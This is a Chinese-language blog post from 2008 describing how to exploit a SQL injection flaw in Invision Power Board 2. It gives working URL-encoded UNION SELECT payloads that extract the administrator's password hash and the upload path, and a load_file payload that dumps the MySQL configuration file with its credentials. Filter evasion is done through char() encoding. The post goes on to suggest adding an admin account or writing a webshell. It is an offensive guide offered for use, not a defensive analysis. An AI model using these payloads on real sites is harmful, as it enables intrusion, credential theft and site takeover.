Chinaunix首页 | 论坛 | 博客
  • 博客访问: 18672194
  • 博文数量: 7460
  • 博客积分: 10434
  • 博客等级: 上将
  • 技术积分: 78178
  • 用 户 组: 普通用户
  • 注册时间: 2008-03-02 22:54
文章分类

全部博文(7460)

文章存档

2011年(1)

2009年(669)

2008年(6790)

分类: 网络与安全

2008-05-31 17:32:15

在上一篇《PHP+MySQL注入导出文件的新发现——附带IPB2的漏洞利用》,利用IPB2的注入漏洞获得管理员的资料,修改COOKIE可以得到前台的管理权限。不少人埋怨没有什么用,其实这个是大多数人不了解IPB2的原因。

因为过滤了很多特殊字符,包括单引号,全部转为十进制了。

其实充分发挥一下想象力。也是有可能拿到后台管理员或者webshell的,注意,是可能,因为这个并不是通杀的,为什么不是通杀的,往下看就知道了。

我也不多说了。对于这个,我看最直接的目的就是看MYSQL的连接信息。怎么看?读文件呗!

我想不管是读文件和上传,这个注入漏洞都给我们提供了最直接的条件,如果了解IPB2的人就应该知道。上传的目录是保存数据库里的,因此。我们根本不需要怎么提交、不需要构造什么变量去报错暴路径,IPB2也没有这个条件去暴这些信息。就算出错也只返回特定的信息。

IPB2的上传目录的路径是保存在ibf_conf_settings表里,所以我们可以构造SQL语句,把这个路径给直接反馈到眼前。

)%20and%201=2%20union%20select%201, 2, 3, 4, 5, 6, 7, 8, 9, 10, member_login_key, 12, 13, 14, 15, 16, 17, 18, 19, 1%20from%20ibf_members%20where%20id=1%20/*

这样是读取id为1的用户的密码散列,同样的,我们如果提交:

)%20and%201=2%20union%20select%201, 2, 3, 4, 5, 6, 7, 8, 9, 10, conf_value, 12, 13, 14, 15, 16, 17, 18, 19, 1%20from%20ibf_conf_settings%20where%20conf_id=59%20/*

就会返回上传目录的绝对路径:

[quote=5,Jan 1 1970, 08:00 AM]

h:/www/ipb2/uploads

[right][snapback]1[/snapback][/right]

[/quote]

不过,默认应该是这样可以了的,但是如果管理员把conf_id改变的话,可能就不是59了。这时我们直接提交:

)%20and%201=2%20union%20select%201, 2, 3, 4, 5, 6, 7, 8, 9, 10, conf_value, 12, 13, 14, 15, 16, 17, 18, 19, 1%20from%20ibf_conf_settings%20where%20conf_key=char(117, 112, 108, 111, 97, 100, 95, 100, 105, 114)%20/*

因为conf_key为upload_dir的相对应的conf_value就是上传目录的绝对路径,但是因为是字符串,我们不能用单引号,只能转换为10进制或者16进制,char(117, 112, 108, 111, 97, 100, 95, 100, 105, 114)就等于“upload_dir”,所以也会返回绝对路径。

有了绝对路径能做什么呢?知道可以允许写的目录在哪了。知道MYSQL连接文件在哪了,还等什么?读文件吧。假设上面的,我们的目录是“h:/www/ipb2/”,那么连接文件就是“h:/www/ipb2/conf_global.php”,转换为10进制或者16进制,提交:

)%20and%201=2%20union%20select%201, 2, 3, 4, 5, 6, 7, 8, 9, 10, load_file(char(104, 58, 47, 119, 119, 119, 47, 105, 112, 98, 50, 47, 99, 111, 110, 102, 95, 103, 108, 111, 98, 97, 108, 46, 112, 104, 112)), 12, 13, 14, 15, 16, 17, 18, 19, 1%20/*

文件就出来了:

[quote=5,Jan 1 1970, 08:00 AM]

< ?php

$INFO['sql_driver'] = 'mysql';

$INFO['sql_host'] = 'localhost';

$INFO['sql_database'] = 'ipb2';

$INFO['sql_user'] = 'root';

$INFO['sql_pass'] = '';

$INFO['sql_tbl_prefix'] = 'ibf_';

$INFO['sql_debug'] = '1';

$INFO['board_start'] = '1102196141';

$INFO['installed'] = '1';

$INFO['php_ext'] = 'php';

$INFO['safe_mode'] = '0';

$INFO['board_url'] = '';

$INFO['admin_group'] = '4';

$INFO['guest_group'] = '2';

$INFO['member_group'] = '3';

$INFO['auth_group'] = '1';

?>

[right][snapback]1[/snapback][/right]

[/quote]

注意注意!刚才说了,不是通杀的,有两个条件:

  1. 要读出文件,连接MYSQL的这个用户,一定要拥有FILE的权限。这个是最根本的。
  2. 条件1具备以后,要更进一步操作,MYSQL必须允许远程连接,这样insert一个后台管理员,还是into outfile都随便你了。

本文完全是技巧和思路的文章,没有多大技术含量,都是老技术了,如果你不了解IPB2,也不知道在数据库里放有绝对路径吧?

阅读(205) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~